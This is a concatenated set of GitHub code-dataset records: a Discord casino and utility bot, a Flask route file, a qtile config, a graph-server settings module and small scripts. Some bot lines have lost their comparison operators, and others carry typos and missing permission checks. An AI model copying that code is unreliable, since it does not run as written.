db[author_id][\"points\"]+bet*2)\n return\n elif sum(bot_cards)==21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Dealer blackjack\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nRip you lost {bet*2} points**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]-bet*2)\n if zero==True:\n update(author_id, \"points\", db[author_id][\"points\"]+bet*2)\n return\n elif sum(bot_cards)>21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Dealer bust\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nCongrats, you won {bet} points!**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]+bet)\n return\n elif sum(player_cards)>sum(bot_cards):\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nCongrats, you won {bet} points!**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]+bet)\n return\n elif sum(player_cards)21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Dealer bust\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nCongrats, you won {bet} points!**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]+bet)\n return\n elif sum(player_cards)>21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Player bust\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nRip you lost {bet} points.**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]-bet)\n if zero==True:\n update(author_id, \"points\", db[author_id][\"points\"]+bet)\n return\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f'**{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\nDealer --- {bot_view} --- ???**'\n )\n await ctx.send(embed=embed)\n\n@client.command(aliases=['tr'])\nasync def translate(ctx,lang,*msg):\n translator=Translator()\n msg=' '.join(msg)\n translation=translator.translate(msg,dest=lang)\n language=translator.detect(msg).lang\n embed=discord.Embed(title='', description=translation.text,colour=ctx.author.top_role.colour)\n embed.set_author(name=ctx.author.name,icon_url=ctx.author.avatar_url)\n embed.set_footer(text=f\"Translated from {language}\")\n await ctx.send(embed=embed)\n\n@tasks.loop(seconds=1.0)\nasync def remove_negative():\n for i in db:\n if db[i][\"type\"]==\"Profile\":\n points=db[i][\"points\"]\n if points<0:\n update(i, \"points\", 0)\n\n@client.command()\nasync def create(ctx):\n #await ctx.send(\"This function has been temporarily disabled.\")\n #return\n author_id=str(ctx.author.id)\n try:\n points=db[author_id][\"points\"]\n await ctx.send('You already have a profile.')\n except KeyError:\n await ctx.send('__**Creating profile...**__')\n db[author_id]={\n \"type\": \"Profile\",\n \"name\": ctx.author.name,\n \"points\": 0\n }\n await ctx.send('__**Profile created!**__')\n\n@client.command()\nasync def list_db(ctx):\n if str(ctx.author.id) in admin:\n for i in db:\n await ctx.send(i)\n await ctx.send(db[i])\n\n@client.command()\nasync def clear_db(ctx):\n if str(ctx.author.id) in admin:\n for i in db:\n del db[i]\n await ctx.send('Database cleared')\n\n@client.command(aliases=['p'])\nasync def profile(ctx):\n #await ctx.send(\"This function has been temporarily disabled.\")\n #return\n author_id=str(ctx.author.id)\n ctxprefix=str(ctx.message.content)[0:2]\n try:\n name=db[author_id][\"name\"]\n points=db[author_id][\"points\"]\n embed=discord.Embed(title=f\"{name}'s Profile\", description=f\"Points: {points}\")\n await ctx.send(embed=embed)\n except KeyError:\n await ctx.send(f\"Profile not found. Please create one with {ctxprefix}create\")\n\n@client.command(aliases=['lb'])\nasync def leaderboard(ctx):\n #await ctx.send(\"This function has been temporarily disabled.\")\n #return\n names=[]\n points=[]\n count=0\n for i in db:\n if db[i][\"type\"]==\"Profile\":\n names.append(db[i][\"name\"])\n points.append(db[i][\"points\"])\n embed=discord.Embed(title='Leaderboard')\n for i in range(len(names)):\n\t count+=1\n\t index = points.index(max(points))\n\t embed.add_field(name=f\"**{count} - {names[index]}**\",\n\t\t value=f\"__{points[index]}__\",\n\t\t inline=False)\n\t points.pop(index)\n\t names.pop(index)\n await ctx.send(embed=embed)\n\n@client.command()\nasync def dice(ctx,bet):\n #await ctx.send(\"This function has been temporarily disabled.\")\n #return\n author_id=str(ctx.author.id)\n ctxprefix=str(ctx.message.content)[0:2]\n try:\n points=db[author_id][\"points\"]\n except:\n await ctx.send(f'**Create an accound first by doing `{ctxprefix}create`**')\n return\n if str(bet)=='all':\n bet=points\n elif str(bet)=='half':\n bet=int(points/2)\n elif bet.isdigit()==True:\n bet=int(bet)\n else:\n await ctx.send('Invalid bet.')\n return\n if bet > points:\n await ctx.send(\"You don't have that much points!\")\n else:\n bot_dice=randint(1,6)\n player_dice=randint(1,6)\n if bot_diceplayer_dice:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s dice game\",\n description=f\"**{ctx.author.name} rolled {player_dice}\\\n \\nzl835 rolled {bot_dice}\\\n \\nRip you lost {bet} points.**\"\n )\n update(author_id, \"points\", db[author_id][\"points\"]-bet)\n elif bot_dice==player_dice:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s dice game\",\n description=f\"**{ctx.author.name} rolled {player_dice}\\\n \\nzl835 rolled {bot_dice}\\\n \\nDraw. Bet returned.**\"\n )\n await ctx.send(embed=embed)\n\n@client.command()\nasync def add(ctx,id,amt):\n if str(ctx.author.id) in admin:\n author_id=id\n amt=int(amt)\n try:\n points=db[author_id][\"points\"]\n except:\n await ctx.send('**ID not found.**')\n return\n update(author_id, \"points\", db[author_id][\"points\"]+amt)\n await ctx.send('Points added')\n else:\n await ctx.send(\"You can't do this peasent.\")\n\n@client.command()\nasync def send(ctx, *text):\n# if str(ctx.author.id)==\"716127371152851015\":\n# await ctx.send(\"Thou hast been banned from using this command. \")\n# return \n text=' '.join(text)\n await ctx.send(text)\n await ctx.message.delete()\n\n@client.command()\nasync def invite(ctx):\n text=\"https://discord.com/api/oauth2/authorize?client_id=905985060346408961&permissions=8&scope=bot\"\n await ctx.send(f'Use this link to invite me! {text}')\n \n@client.command()\nasync def magic_8ball(ctx):\n responses=[\"Yes.\", \"No.\", \"Are you dumb???\", \"No shit...\", \"When you grow a braincell, yes.\", \"Bruh.\", \"No you idiot.\", \"Only God can help you there.\", \"Do dogs talk?\", \"Obviously... even a blind man can see it.\", \"Yea sure.\", \"Stop asking me stupid questions.\", \"I doubt it.\", \"As surely as 1+1=3\", \"This ain't worth the processor cycles.\", \"Uh whatever.\", \"Cock.\", \"Try again later.\"]\n await ctx.send(choice(responses))\n\n@client.command(aliases=[\"cf\"])\nasync def coinflip(ctx, bet):\n #await ctx.send(\"This function has been temporarily disabled.\")\n #return\n def check(m):\n if m.author == ctx.author:\n return True\n return False\n author_id=str(ctx.author.id)\n ctxprefix=str(ctx.message.content)[0:2]\n possibilities=['heads', 'tails', 'side']\n try:\n points=db[author_id][\"points\"]\n except:\n await ctx.send(f'**Create an accound first by doing `{ctxprefix}create`**')\n return\n if str(bet)=='all':\n bet=points\n elif str(bet)=='half':\n bet=int(points/2)\n elif bet.isdigit()==True:\n bet=int(bet)\n else:\n await ctx.send('Invalid bet.')\n return\n if bet > points:\n await ctx.send(\"You don't have that much points!\")\n else:\n number=randint(0,1000)\n result=''\n if number==0:\n result=possibilities[2]\n else:\n result=possibilities[number%2]\n await ctx.send(\"Heads or Tails?\")\n msg=await client.wait_for('message', check=check)\n cmd=msg.content.lower()\n if cmd==result:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s coinflip game\",\n description=f\"**Coin landed on {result}!\\\n \\nYou won {bet} points!**\"\n )\n update(author_id, \"points\", db[author_id][\"points\"]+bet)\n elif result=='side':\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s coinflip game\",\n description=f\"**Coin landed on {result}!\\\n \\nYou lost {bet*100} points!**\"\n )\n update(author_id, \"points\", db[author_id][\"points\"]-bet*100)\n else:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s coinflip game\",\n description=f\"**Coin landed on {result}!\\\n \\nYou lost {bet} points!**\"\n )\n update(author_id, \"points\", db[author_id][\"points\"]-bet)\n await ctx.send(embed=embed)\n\n@client.command()\nasync def now(ctx):\n tz = pytz.timezone('Asia/Singapore')\n current_datetime=datetime.now(tz)\n d=current_datetime.day\n m=current_datetime.month\n y=current_datetime.year\n H=current_datetime.hour\n M=current_datetime.minute\n S=current_datetime.second\n embed=discord.Embed(\n title=\"Current Date and Time\",\n description=\"\"\n )\n embed.add_field(\n name=\"Date\",\n value=f\"{d}/{m}/{y}\"\n )\n embed.add_field(\n name=\"Time\",\n value=f\"{H}:{M}:{S}\"\n )\n await ctx.send(embed=embed)\n\n@tasks.loop(seconds=1.0)\nasync def daily_interest():\n current_time=datetime.now()\n target_time=datetime(current_time.year, current_time.month, current_time.day) + timedelta(days = 1)\n time_diff=(target_time-current_time).total_seconds()\n if time_diff<1 or time_diff>86399: \n for i in db:\n if db[i][\"type\"][\"Profile\"]:\n points=floor((db[i][\"points\"])*1.1)\n update(i, \"points\", points)\n\n@client.command()\nasync def addall(ctx, points):\n points=int(points)\n for i in db:\n update(i, \"points\", db[i][\"points\"]+points)\n await ctx.send(\"FREE POINTS FOR EVERYONE!!!\")\n\n@client.command()\nasync def kiss(ctx, *user):\n user=\" \".join(user)\n gifs=[\"https://media.giphy.com/media/QGc8RgRvMonFm/giphy.gif\", \"https://media.giphy.com/media/nyGFcsP0kAobm/giphy.gif\", \"https://media.giphy.com/media/jR22gdcPiOLaE/giphy.gif\", \"https://media.giphy.com/media/FqBTvSNjNzeZG/giphy.gif\", \"https://media.giphy.com/media/bm2O3nXTcKJeU/giphy.gif\", \"https://media.giphy.com/media/zkppEMFvRX5FC/giphy.gif\", \"https://media.giphy.com/media/vUrwEOLtBUnJe/giphy.gif\", \"https://media.giphy.com/media/Gj8bn4pgTocog/giphy.gif\"]\n gif=choice(gifs)\n embed=discord.Embed(\n title=\"\",\n description=f\"_{ctx.author.mention} kisses {user}_\"\n )\n embed.set_image(url=gif)\n await ctx.send(embed=embed)\n\n@client.command()\nasync def hug(ctx, *user):\n user=\" \".join(user)\n gifs=[\"https://media.giphy.com/media/od5H3PmEG5EVq/giphy.gif\", \"https://media.giphy.com/media/143v0Z4767T15e/giphy.gif\", \"https://media.giphy.com/media/PHZ7v9tfQu0o0/giphy.gif\", \"https://media.giphy.com/media/49mdjsMrH7oze/giphy.gif\", \"https://media.giphy.com/media/vVA8U5NnXpMXK/giphy-downsized-large.gif\", \"https://media.giphy.com/media/XngSZ7e6wBOBG/giphy.gif\", \"https://media.giphy.com/media/FuUFDCe51pDKo/giphy.gif\", \"https://cdn.weeb.sh/images/rJnKu_XwZ.gif\"]\n gif=choice(gifs)\n embed=discord.Embed(\n title=\"\",\n description=f\"_{ctx.author.mention} hugs {user}_\"\n )\n embed.set_image(url=gif)\n await ctx.send(embed=embed)\n\n@client.command()\nasync def kill(ctx, *user):\n user=\" \".join(user)\n gifs=[\"https://media.giphy.com/media/11HeubLHnQJSAU/giphy.gif\", \"https://media.giphy.com/media/eLsxkwF5BRtlK/giphy.gif\", \"https://media.giphy.com/media/q0vzRkA3NNYVtvt8rn/giphy.gif\", \"https://media.giphy.com/media/5nzKr6nUZQi8thjcWf/giphy.gif\", \"https://media.giphy.com/media/yBeej2d9kB4FYXeg2Z/giphy.gif\", \"https://media.giphy.com/media/NuiEoMDbstN0J2KAiH/giphy.gif\", \"https://media.giphy.com/media/yo3TC0yeHd53G/giphy.gif\", \"https://media.giphy.com/media/8D1upwhhOTHo3UKhGy/giphy.gif\"]\n gif=choice(gifs)\n embed=discord.Embed(\n title=\"\",\n description=f\"_{ctx.author.mention} kills {user}_\"\n )\n embed.set_image(url=gif)\n await ctx.send(embed=embed)\n\n@client.command()\nasync def rng(ctx, start, stop):\n start=int(start)\n stop=int(stop)\n number=randint(start,stop)\n await ctx.send(number)\n\n@client.command()\nasync def create_permreminder(ctx, *message):\n def check(m):\n if m.author == ctx.author:\n return True\n return False\n message=\" \".join(message)\n await ctx.message.delete()\n prompt=await ctx.send(\"Enter reminder time in HH:MM format:\")\n time = await client.wait_for('message', check=check)\n await prompt.delete()\n await time.delete()\n time=str(time.content).split(\":\")\n timenow=datetime.now()\n day=timenow.day\n month=timenow.month\n year=timenow.year\n hour=int(time[0])\n minute=int(time[1])\n date_time=datetime(year,month,day,hour,minute)\n channelid=ctx.channel.id\n try:\n counter=db[\"counter\"]\n except KeyError:\n db[\"counter\"]={\n \"type\": \"counter\",\n \"value\": 1\n }\n counter=db[\"counter\"][\"value\"]\n db[counter]={\n \"type\": \"perm_reminder\",\n \"channel\": channelid,\n \"message\": message,\n \"datetime\": date_time.isoformat()\n }\n db[\"counter\"][\"value\"]+=1\n await ctx.send(\"done\", delete_after=5.0)\n\n@client.command()\nasync def clear_reminder(ctx, number):\n del db[number]\n\n@client.command()\nasync def remove(ctx, *item):\n item=\" \".join(item)\n del db[item]\n\n@tasks.loop(seconds=2.0)\nasync def check_reminders():\n current_datetime=datetime.now()\n for i in db:\n if db[i][\"type\"]==\"perm_reminder\":\n time_diff=(datetime.fromisoformat(db[i][\"datetime\"])-current_datetime).total_seconds()\n time_diff-=28800\n if time_diff<2 or time_diff>0:\n channel = await client.fetch_channel(db[i][\"channel\"])\n msg=db[i][\"message\"]\n await channel.send(msg)\n date_time=datetime.fromissoformat(db[i][\"datetime\"]) + timedelta(days=1)\n db[i][\"datetime\"]=date_time.isoformat()\n\n@tasks.loop(seconds=2.0)\nasync def gm():\n current_datetime=datetime.now()\n target_datetime=datetime(2022,6,27,6)\n time_diff=(target_datetime-current_datetime).total_seconds()\n time_diff-=28800\n if time_diff<2 and time_diff>0:\n channel = await client.fetch_channel(988493796025176126)\n msg=\"@everyone Morning yall, Zephan here. Hope you guys had a nice sleep. ATB for school today! love yall (esp. isa) :heart:\"\n await channel.send(msg)\n\n\nremove_negative.start() \ndaily_interest.start()\ngm.start()\ncheck_reminders.start()\nkeep_alive()\nclient.run(my_secret)","repo_name":"zl-385/zl835","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":28844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22093963177","text":"from flask_app.__innit__ import app\nfrom flask import render_template, request, redirect \nfrom flask_app.models.dojo import Dojo\nfrom flask_app.models.ninja import Ninja\n\n@app.route('/ninjas')\ndef new_ninja():\n ninja = Ninja.get_all()\n dojos = Dojo.get_all()\n return render_template('new_ninja.html', ninja=ninja, dojos=dojos)\n\n@app.route('/create/ninja', methods=[\"POST\"])\ndef create_ninja():\n data = {\n \"first_name\": request.form[\"first_name\"],\n \"last_name\": request.form[\"last_name\"],\n \"age\": request.form[\"age\"],\n \"dojo_id\": request.form[\"dojo_id\"]\n }\n Ninja.save(data)\n return redirect(\"/dojos\")","repo_name":"Kobi-Elias/dojos_and_ninjas","sub_path":"flask_app/controllers/ninjas.py","file_name":"ninjas.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38614315731","text":"from libqtile import bar, layout, widget\nfrom libqtile.config import Click, Drag, Group, Key, Match, Screen\nfrom libqtile.lazy import lazy\nfrom libqtile.utils import guess_terminal\nimport os\n\nclass PrevFocus(object):\n \"\"\"Store last focus per group and go back when called\"\"\"\n\n def __init__(self):\n self.focus = None\n self.old_focus = None\n self.groups_focus = {}\n hook.subscribe.client_focus(self.on_focus)\n\n def on_focus(self, window):\n group = window.group\n # only store focus if the group is set\n if not group:\n return\n group_focus = self.groups_focus.setdefault(group.name, {\n \"current\": None, \"prev\": None\n })\n # don't change prev if the current focus is the same as before\n if group_focus[\"current\"] == window:\n return\n group_focus[\"prev\"] = group_focus[\"current\"]\n group_focus[\"current\"] = window\n\n def __call__(self, qtile):\n group = qtile.current_group\n group_focus = self.groups_focus.get(group.name, {\"prev\": None})\n prev = group_focus[\"prev\"]\n if prev and group.name == prev.group.name:\n group.focus(prev, False)\n\n\nmod = \"mod4\"\nterminal = guess_terminal()\n\ndef latest_group(qtile):\n qtile.current_screen.set_group(qtile.current_screen.previous_group)\n\nkeys = [\n # A list of available commands that can be bound to keys can be found\n # at https://docs.qtile.org/en/latest/manual/config/lazy.html\n # Switch between windows\n Key([mod], \"h\", lazy.layout.left(), desc=\"Move focus to left\"),\n Key([mod], \"l\", lazy.layout.right(), desc=\"Move focus to right\"),\n Key([mod], \"j\", lazy.layout.down(), desc=\"Move focus down\"),\n Key([mod], \"k\", lazy.layout.up(), desc=\"Move focus up\"),\n # Move windows between left/right columns or move up/down in current stack.\n # Moving out of range in Columns layout will create new column.\n Key([mod, \"shift\"], \"h\", lazy.layout.shuffle_left(), desc=\"Move window to the left\"),\n Key([mod, \"shift\"], \"l\", lazy.layout.shuffle_right(), desc=\"Move window to the right\"),\n Key([mod, \"shift\"], \"j\", lazy.layout.shuffle_down(), desc=\"Move window down\"),\n Key([mod, \"shift\"], \"k\", lazy.layout.shuffle_up(), desc=\"Move window up\"),\n # Grow windows. If current window is on the edge of screen and direction\n # will be to screen edge - window would shrink.\n Key([mod, \"control\"], \"h\", lazy.layout.grow_left(), desc=\"Grow window to the left\"),\n Key([mod, \"control\"], \"l\", lazy.layout.grow_right(), desc=\"Grow window to the right\"),\n Key([mod, \"control\"], \"j\", lazy.layout.grow_down(), desc=\"Grow window down\"),\n Key([mod, \"control\"], \"k\", lazy.layout.grow_up(), desc=\"Grow window up\"),\n Key([mod], \"n\", lazy.layout.normalize(), desc=\"Reset all window sizes\"),\n Key([mod], \"f\", lazy.window.toggle_fullscreen()),\n Key([mod], \"space\", lazy.window.toggle_floating()),\n Key([mod], \"m\", lazy.next_layout(), desc=\"Toggle between layouts\"),\n Key([mod, \"shift\"], \"q\", lazy.window.kill(), desc=\"Kill focused window\"),\n Key([mod, \"control\"], \"r\", lazy.reload_config(), desc=\"Reload the config\"),\n Key([mod], \"tab\", lazy.prev_screen()),\n]\n\ngroups = [\n Group(name=\"1\", label=\"\"),\n Group(name=\"2\", label=\"\"),\n Group(name=\"3\", label=\"\"),\n Group(name=\"4\", label=\"\"),\n Group(name=\"5\", label=\"\"),\n]\n\nfrom typing import Callable\nfrom libqtile.core.manager import Qtile\ndef go_to_group(name: str) -> Callable:\n def _inner(qtile: Qtile) -> None:\n if len(qtile.screens) == 1:\n qtile.groups_map[name].cmd_toscreen()\n return\n\n if name in '1234':\n qtile.focus_screen(0)\n qtile.groups_map[name].cmd_toscreen()\n else:\n qtile.focus_screen(1)\n qtile.groups_map[name].cmd_toscreen()\n\n return _inner\n\nfor i in groups:\n keys.append(Key([mod], i.name, lazy.function(go_to_group(i.name))))\n\nfor i in groups:\n keys.extend(\n [\n # mod1 + shift + letter of group = switch to & move focused window to group\n Key(\n [mod, \"shift\"],\n i.name,\n lazy.window.togroup(i.name),\n desc=\"Switch to & move focused window to group {}\".format(i.name),\n ),\n ]\n )\n\nfrom libqtile.config import Group, ScratchPad, DropDown, Key\nfrom libqtile.lazy import lazy\ngroups.append(\n ScratchPad(\"scratchpad\", [\n # define a drop down terminal.\n # it is placed in the upper third of screen by default.\n # define another terminal exclusively for ``qtile shell` at different position\n DropDown(\"term\", \"kitty\",\n x=0.38, y=0.4, width=0.6, height=0.6, opacity=1.0,\n on_focus_lost_hide=True) \n ]))\nkeys.append(\n Key(['mod1'], 'Q', lazy.group['scratchpad'].dropdown_toggle('term')),\n)\n\nlayouts = [\n layout.Columns(margin=[10, 20, 20, 20],\n border_focus='#f74843',\n border_focus_stack=[\"#1F1D2E\", \"#8f3d3d\"],\n border_width=4),\n layout.Max(),\n]\n\nwidget_defaults = dict(\n font=\"JetBrainsMono\",\n fontsize=30,\n padding=8,\n)\nextension_defaults = widget_defaults.copy()\n\nscreens = [\n Screen(\n top=bar.Bar(\n [\n widget.Spacer(length=40,\n background='#1F1F1F',\n ),\n widget.CurrentLayoutIcon(\n # foreground='#f97874',\n background='#1f1f1f',\n padding = 0,\n scale = 0.6,\n ),\n widget.Image(\n filename='~/.config/qtile/assets/6.png',\n ),\n widget.GroupBox(\n fontsize=26,\n borderwidth=4,\n highlight_method='block',\n active='#f2f3f3',\n block_highlight_text_color=\"#f2f3f3\",\n highlight_color='#4B427E',\n inactive='#111111',\n foreground='#4B427E',\n background='#534947',\n this_current_screen_border='#897974',\n this_screen_border='#897974',\n other_current_screen_border='#897974',\n other_screen_border='#695954',\n urgent_border='#f97874',\n rounded=True,\n disable_drag=True,\n ),\n widget.Image(\n filename='~/.config/qtile/assets/5.png',\n ),\n widget.Mpd2(\n # foreground='#f97874',\n background='#1f1f1f',\n status_format='{play_status} {artist} - {title}',\n idle_format='{play_status} {idle_message}',\n idle_message='wait for playing.... ',\n width=400,\n padding=10,\n scroll=True,\n scroll_fixed_width=True\n # font= 'JetBrains Mono Bold',\n ),\n widget.Image(\n filename='~/.config/qtile/assets/4.png', \n ),\n widget.Spacer(\n length=2340,\n background='#ff0000.0',\n opacity=1,\n ),\n widget.Image(\n filename='~/.config/qtile/assets/3.png', \n ), \n widget.TextBox(\n text=\"﬙\",\n font=\"Font Awesome 5 Free Solid\",\n fontsize=46,\n padding=5,\n background='#1f1f1f',\n ),\n widget.Memory(format='{MemUsed:.0f}{mm}',\n font=\"JetBrains Mono Bold\",\n background='#1f1f1f',\n ),\n widget.Image(\n filename='~/.config/qtile/assets/2.png', \n ), \n widget.TextBox(\n text=\"\",\n font=\"Font Awesome 5 Free Solid\",\n fontsize=30,\n padding=3,\n background='#534947',\n ),\n widget.PulseVolume(font='JetBrains Mono Bold',\n # fontsize=12,\n background='#534947',\n ), \n widget.Image(\n filename='~/.config/qtile/assets/1.png', \n ),\n widget.TextBox(\n text=\"\",\n font=\"Font Awesome 6 Free Solid\",\n fontsize=45,\n padding=0,\n background='#1F1D2E',\n ),\n widget.Clock(\n format='%I:%M %p',\n background='#1F1D2E',\n font=\"JetBrains Mono Bold\",\n ),\n widget.Spacer(\n length=40,\n background='#1F1D2E',\n ),\n ],\n 45,\n margin = [6,12,6,12],\n background=\"#ff0000.0\",\n opacity=1,\n ),\n ),\n]\n\n# Drag floating layouts.\nmouse = [\n Drag([mod], \"Button1\", lazy.window.set_position_floating(), start=lazy.window.get_position()),\n Click([mod], \"Button2\", lazy.window.bring_to_front()),\n Drag([mod], \"Button3\", lazy.window.set_size_floating(), start=lazy.window.get_size()),\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = [] # type: list\nfollow_mouse_focus = False\nbring_front_click = True\ncursor_warp = False\nfloating_layout = layout.Floating(\n border_focus='#191919',\n border_normal='#191919',\n float_rules=[\n # Run the utility of `xprop` to see the wm class and name of an X client.\n *layout.Floating.default_float_rules,\n Match(wm_class=\"confirmreset\"), # gitk\n Match(wm_class=\"makebranch\"), # gitk\n Match(wm_class=\"maketag\"), # gitk\n Match(wm_class=\"ssh-askpass\"), # ssh-askpass\n Match(wm_class=\"Microbench\"), # GPG key password entry\n Match(wm_class=\"ShaderBench\"), # GPG key password entry\n Match(title=\"branchdialog\"), # gitk\n Match(title=\"pinentry\"), # GPG key password entry\n Match(title=\"Microbench\"), # GPG key password entry\n Match(title=\"Shaderbench\"), # GPG key password entry\n Match(title=\"Steam - News\"), # GPG key password entry\n Match(title=\"Friends List\"), # GPG key password entry\n ]\n)\n\nfrom libqtile import hook\n# some other imports\nimport subprocess\n# stuff\n@hook.subscribe.startup_once\ndef autostart():\n home = os.path.expanduser('~/.myprofile/bin/autostart.sh') \n subprocess.call([home])\n\nauto_fullscreen = False\nfocus_on_window_activation = \"smart\"\nreconfigure_screens = True\n\n# If things like steam games want to auto-minimize themselves when losing\n# focus, should we respect this or not?\nauto_minimize = False\n\n# When using the Wayland backend, this can be used to configure input devices.\nwl_input_rules = None\n\n# XXX: Gasp! We're lying here. In fact, nobody really uses or cares about this\n# string besides java UI toolkits; you can see several discussions on the\n# mailing lists, GitHub issues, and other WM documentation that suggest setting\n# this string if your java app doesn't work correctly. We may as well just lie\n# and say that we're a working one by default.\n#\n# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in\n# java that happens to be on java's whitelist.\nwmname = \"LG3D\"\n","repo_name":"dotF-Atelier/dot-cfg","sub_path":"qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":11729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16103795862","text":"import os\nimport pathlib\nimport re\nimport sys\nimport textwrap\n\nfrom starlette.config import Config\n\nfrom . import utils\n\n\n__all__ = [\"settings\"]\n\n\nclass Settings:\n\n \"\"\"Container for settings.\"\"\"\n\n def __init__(self, **data):\n config = Config(os.getenv(\"ENV_FILE\"))\n\n docs = {}\n defaults = {}\n\n for name, kwargs in data.items():\n callable_default = kwargs.pop(\"callable_default\", None)\n if callable_default:\n kwargs[\"default\"] = callable_default(self)\n\n default = kwargs.setdefault(\"default\", None)\n cast = kwargs.setdefault(\"cast\", None)\n\n docs[name] = kwargs.pop(\"doc\", None)\n defaults[name] = config._perform_cast(name, default, cast)\n\n value = config(name.upper(), **kwargs)\n setattr(self, name, value)\n\n self.__docs = docs\n self.__defaults = defaults\n\n def __str__(self):\n items = []\n for name in self.__dict__:\n if not name.startswith(\"_\"):\n value = getattr(self, name)\n\n default = self.__defaults[name]\n is_default = value == default\n\n doc = self.__docs.get(name) or \"\"\n if doc:\n doc = textwrap.fill(doc, 68)\n doc = textwrap.indent(doc, \" \")\n doc = f\"\\n{doc}\"\n if not is_default:\n doc = f\"{doc}\\n [{default!r}]\"\n\n items.append(f\"{name.upper()} = {value!r}{doc}\")\n return \"\\n\".join(items)\n\n\ndef testing_default(_settings):\n return bool(\n \"TESTING\" not in os.environ\n and sys.argv\n and re.match(r\".*python\\d? -m unittest\", sys.argv[0])\n )\n\n\nsettings = Settings(\n debug={\n \"cast\": bool,\n \"default\": False,\n },\n testing={\n \"doc\": \"Indicates tests are being run\",\n \"cast\": bool,\n \"callable_default\": testing_default,\n },\n host={\n \"doc\": \"Server host\",\n \"default\": \"127.0.0.1\",\n },\n port={\"doc\": \"Server port\", \"cast\": int, \"default\": 8000},\n log_config_file={\n \"doc\": \"Path to Python logging config file (see \"\n \"https://docs.python.org/3/library/logging.config.html)\",\n \"cast\": utils.abs_path,\n },\n log_level={\n \"doc\": \"Log level for basic logging config; ignored if LOG_CONFIG_FILE is specified\",\n \"callable_default\": lambda s: \"DEBUG\" if s.debug else \"INFO\",\n },\n template_directory={\n \"doc\": \"Path to directory containing HTML/Jinja2 templates\",\n \"default\": str(pathlib.Path(__file__).parent / \"templates\"),\n \"cast\": utils.abs_path,\n },\n graph_file={\n \"doc\": \"Path to graph file (a marshal or pickle file) to read on startup; if not \"\n \"specified, a new empty graph will be created\",\n \"cast\": utils.abs_path,\n },\n graph_file_type={\n \"doc\": \"One of marshal or pickle; only required if GRAPH_FILE setting doesn't have a \"\n \".marshal or .pickle extension\",\n },\n read_only={\n \"doc\": \"Make graph read only (disable modifying endpoints)\",\n \"cast\": bool,\n \"default\": False,\n },\n node_serializer={\n \"doc\": \"Serializer for converting nodes to JSON keys\",\n \"cast\": utils.import_object,\n \"default\": \"json:dumps\",\n },\n node_deserializer={\n \"doc\": \"Type for converting URL params and JSON keys to nodes\",\n \"cast\": utils.import_object,\n \"default\": \"json:loads\",\n },\n edge_serializer={\n \"doc\": \"Serializer for converting nodes to JSON keys\",\n \"cast\": utils.import_object,\n \"default\": \"json:dumps\",\n },\n edge_deserializer={\n \"doc\": \"Type for converting URL params and JSON keys to nodes\",\n \"cast\": utils.import_object,\n \"default\": \"json:loads\",\n },\n cost_func={\n \"doc\": \"Default cost function\",\n \"cast\": utils.import_object,\n },\n heuristic_func={\n \"doc\": \"Default heuristic function\",\n \"cast\": utils.import_object,\n },\n)\n","repo_name":"wylee/Dijkstar","sub_path":"src/dijkstar/server/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"3"} +{"seq_id":"21338845373","text":"#Name\n#Period \nimport random\n\nf1 = \"Help! I’m being held prisoner in a fortune cookie bakery!\"\nf2 = \"Cookie said: \\\"You really crack me up.\\\"\"\nf3 = \"You are not illiterate.\"\nf4 = \"You will read this and say \\\"Geez! I could come wp with better fortunes than that!\\\"\"\nf5 = \"This cookie is never gonna give you up, never gonna let your down.\"\n\ndef cookie():\n resp = [f1, f2, f3, f4, f5]\n return random.choice(resp) #probably not how we're supposed to do it but it works so..\n\ndef main():\n print(\"You crack open the cooke and your fortune falls out:\")\n print(cookie())\n","repo_name":"Vistril/pyproj","sub_path":"02-fortune-cookie/fortune_cookie.py","file_name":"fortune_cookie.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2550803829","text":"# -*- coding: utf-8 -*-\n# purchasesDemo3\n\n\n\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.externals 